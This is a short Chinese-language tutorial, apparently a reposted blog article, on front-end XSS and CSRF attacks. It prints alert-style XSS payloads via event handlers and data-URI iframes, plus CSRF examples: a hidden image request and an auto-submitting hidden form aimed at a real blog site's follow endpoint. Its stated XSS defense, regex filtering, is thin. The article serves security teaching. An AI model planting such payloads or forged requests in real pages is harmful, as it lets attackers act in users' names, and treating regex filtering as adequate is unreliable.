前端安全知识必备--XSS攻击和CSRF攻击

XSS攻击--跨站脚本攻击

场景:比如在正常发表文章,或评论他人文章时,注入恶意脚本。待他人查看时触发恶意脚本达到攻击目的

1. 通过注入的标签事件触发
<body onload="alert('xss')"></body>
<p onclick="alert('1')" style="postion:fixed;width:100%;heith:100%">&nbsp;</p>
<input onfocus="alert('1')" autofocus/>
2. 通过注入的带有src属性的标签触发
<iframe src="http://www.xss.com/xss.html"></iframe>
 <iframe src="data:text/html,<script>alert('1')</script>"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+"></iframe>

防御:利用正则检查输入内容进行过滤

CSRF攻击--跨站请求伪造攻击

场景:CSRF攻击者在用户已经登录A网站之后,诱使用户访问一个B页面,利用A网站对用户的信任,以用户身份在B页面对目标网站发起伪造用户操作的请求,达到攻击目的。

1. 利用img可跨域伪造一个get请求:B页面嵌入标签,因为用户在A网站已登录,所以可伪造用户调用一个在A网站登录后才能进行的一个任意操作
<img style="width:0;" src="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx?blogUserGuid=4e8c33d0-77fe-df11-ac81-842b2b196315" />
2. 利用form可跨域伪造一个post请求:不嵌iframe页面会重定向,这样就降低了攻击的隐蔽性
<iframe style="display:none;" src="test2.html"></iframe>

test2.html

<!DOCTYPE HTML>
<html lang="en-US">
<head>
<title>CSRF GET</title>
<body>
     <form  name="form1" action="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx" method="post">
          <input type="hidden" name="blogUserGuid" value="4e8c33d0-77fe-df11-ac81-842b2b196315"/>
          <input type="submit" value>
     </form>
     <script>
          document.forms.form1.submit();
     </script>
</body>
</html>

防御:使用token

参考:

https://www.cnblogs.com/black-humor/p/7810920.html

https://www.cnblogs.com/lovesong/p/5233195.html

猜你喜欢

转载自www.cnblogs.com/liyongquan/p/9142385.html